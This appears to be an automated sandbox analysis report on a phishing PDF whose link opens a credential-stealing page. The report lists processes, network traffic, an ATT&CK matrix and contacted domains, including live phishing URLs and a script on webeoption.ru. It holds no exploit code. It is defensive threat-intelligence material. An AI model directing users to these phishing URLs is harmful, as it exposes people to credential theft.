Source: chromecache_238.9.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
Source: chromecache_238.9.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
Source: chromecache_238.9.dr	String found in binary or memory: https://bugs.jquery.com/ticket/12359
Source: chromecache_238.9.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13378
Source: chromecache_238.9.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_238.9.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
Source: chromecache_238.9.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_238.9.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_238.9.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_238.9.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#common-serializing-idioms
Source: chromecache_238.9.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
Source: chromecache_232.9.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_232.9.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_236.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/yellowtail/v22/OZpGg_pnoDtINPfRIlLohlvHwQ.woff2)
Source: chromecache_223.9.dr, chromecache_226.9.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_233.9.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_238.9.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/3229
Source: chromecache_238.9.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/6125
Source: chromecache_238.9.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_238.9.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_238.9.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_223.9.dr, chromecache_226.9.dr, chromecache_233.9.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_223.9.dr, chromecache_233.9.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_238.9.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_238.9.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#category-listed
Source: chromecache_238.9.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
Source: chromecache_238.9.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
Source: chromecache_238.9.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
Source: chromecache_238.9.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
Source: chromecache_238.9.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
Source: chromecache_238.9.dr	String found in binary or memory: https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
Source: chromecache_238.9.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_238.9.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_238.9.dr	String found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
Source: chromecache_238.9.dr	String found in binary or memory: https://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_238.9.dr	String found in binary or memory: https://promisesaplus.com/#point-48
Source: chromecache_238.9.dr	String found in binary or memory: https://promisesaplus.com/#point-54
Source: chromecache_238.9.dr	String found in binary or memory: https://promisesaplus.com/#point-57
Source: chromecache_238.9.dr	String found in binary or memory: https://promisesaplus.com/#point-59
Source: chromecache_238.9.dr	String found in binary or memory: https://promisesaplus.com/#point-61
Source: chromecache_238.9.dr	String found in binary or memory: https://promisesaplus.com/#point-64
Source: chromecache_238.9.dr	String found in binary or memory: https://promisesaplus.com/#point-75
Source: chromecache_238.9.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_238.9.dr	String found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_238.9.dr	String found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.5:49768 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.winPDF@40/98@24/15

Source: MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf

Initial sample: https://3245.tarafhaber.net/351-h46.htm

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3788

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-04-19 16-55-51-628.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1592,i,16362492344123580120,5216236964409880840,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://3245.tarafhaber.net/351-h46.htm"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2000,i,8032877187666766486,1682355500134158436,262144 /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1592,i,16362492344123580120,5216236964409880840,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2000,i,8032877187666766486,1682355500134158436,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf	Initial sample: PDF keyword /JS count = 0
Source: MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf	3%	ReversingLabs

Source	Detection	Scanner	Label
https://3245.tarafhaber.net/351-h46.htm	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://promisesaplus.com/#point-75	0%	URL Reputation	safe
https://promisesaplus.com/#point-64	0%	URL Reputation	safe
https://promisesaplus.com/#point-61	0%	URL Reputation	safe
https://promisesaplus.com/#point-59	0%	URL Reputation	safe
https://promisesaplus.com/#point-57	0%	URL Reputation	safe
https://promisesaplus.com/#point-54	0%	URL Reputation	safe
https://promisesaplus.com/#point-48	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.11.207	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
webeoption.ru	104.21.59.166	true	false	unknown
www.google.com	64.233.177.99	true	false	high
3245.tarafhaber.net	172.67.134.189	true	false	unknown
neroibi.com	103.153.183.146	true	false	unknown
use.fontawesome.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://neroibi.com/.blak/othermail.ico	false		unknown
https://neroibi.com/.blak/outlook.png	false		unknown
https://3245.tarafhaber.net/351-h46.htm	true	SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://a.nel.cloudflare.com/report/v4?s=F2QR5YXx85bsL73%2BZA4k8m9FY7exlwSiisyQaX4CcJ5mab5B41iAueE%2FtDsX4q9yS7Dhsbn%2BA9sjMgd5JgUYq9g9AbeD2MZIM4bFvcNGD06gwWAw7Ym9a8LswRZTD13QPd0C0Z%2F4	false		high
https://neroibi.com/.blak/8.jpg	false		unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://a.nel.cloudflare.com/report/v4?s=%2BKDF%2BuRcUWfyocdeXni9QQOsnK8ZJMyenZQrxLU1tTbaDhpcgMLdn%2BxbwJwqqFp6T5dTLXX%2BQV%2Fu8C%2FNYcA%2B5f%2FXkuatJPFC1vBmWQ9DQflf1ugkcUTxKhxe23GuwPQUM8kAdFBa	false		high
https://neroibi.com/.blak/adobe.jpg	false		unknown
https://code.jquery.com/jquery-3.1.1.min.js	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css	false		high
https://code.jquery.com/jquery-3.3.1.js	false		high
https://3245.tarafhaber.net/css/hover.css	false		unknown
https://webeoption.ru/BLAKMAN-03-05.js	false		unknown
https://neroibi.com/.blak/office365.png	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://3245.tarafhaber.net/favicon.ico	false		unknown
https://www.google.com/s2/favicons?sz=64&domain_url=hotmail.com	false		high
https://neroibi.com/.blak/gmail.png	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_238.9.dr	false		high
http://jquery.org/license	chromecache_238.9.dr	false		high
https://jsperf.com/thor-indexof-vs-for/5	chromecache_238.9.dr	false		high
https://bugs.jquery.com/ticket/12359	chromecache_238.9.dr	false		high
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_238.9.dr	false		high
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_238.9.dr	false		high
https://promisesaplus.com/#point-75	chromecache_238.9.dr	false	URL Reputation: safe	unknown
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	chromecache_238.9.dr	false		high
https://drafts.csswg.org/cssom/#common-serializing-idioms	chromecache_238.9.dr	false		high
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_238.9.dr	false		high
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_238.9.dr	false		high
https://fontawesome.com/license/free	chromecache_232.9.dr	false		high
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	chromecache_238.9.dr	false		high
https://fontawesome.com	chromecache_232.9.dr	false		high
https://github.com/eslint/eslint/issues/6125	chromecache_238.9.dr	false		high
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	chromecache_238.9.dr	false		high
https://github.com/jquery/jquery/pull/557)	chromecache_238.9.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_223.9.dr, chromecache_233.9.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	chromecache_238.9.dr	false		high
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_238.9.dr	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_238.9.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	chromecache_238.9.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_245.9.dr	false		high
https://bugs.jquery.com/ticket/13378	chromecache_238.9.dr	false		high
https://promisesaplus.com/#point-64	chromecache_238.9.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-61	chromecache_238.9.dr	false	URL Reputation: safe	unknown
https://drafts.csswg.org/cssom/#resolved-values	chromecache_238.9.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	chromecache_238.9.dr	false		high
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	chromecache_238.9.dr	false		high
https://promisesaplus.com/#point-59	chromecache_238.9.dr	false	URL Reputation: safe	unknown
https://jsperf.com/getall-vs-sizzle/2	chromecache_238.9.dr	false		high
https://promisesaplus.com/#point-57	chromecache_238.9.dr	false	URL Reputation: safe	unknown
https://github.com/eslint/eslint/issues/3229	chromecache_238.9.dr	false		high
https://getbootstrap.com/)	chromecache_233.9.dr	false		high
https://3245.tarafhaber.net/351-h46.htm)	MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf	false		unknown
https://promisesaplus.com/#point-54	chromecache_238.9.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#category-listed	chromecache_238.9.dr	false		high
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	chromecache_238.9.dr	false		high
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_238.9.dr	false		high
https://jquery.org/license	chromecache_238.9.dr	false		high
https://jquery.com/	chromecache_238.9.dr	false		high
https://getbootstrap.com)	chromecache_223.9.dr, chromecache_226.9.dr	false		low
https://bugs.webkit.org/show_bug.cgi?id=137337	chromecache_238.9.dr	false		high
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	chromecache_238.9.dr	false		high
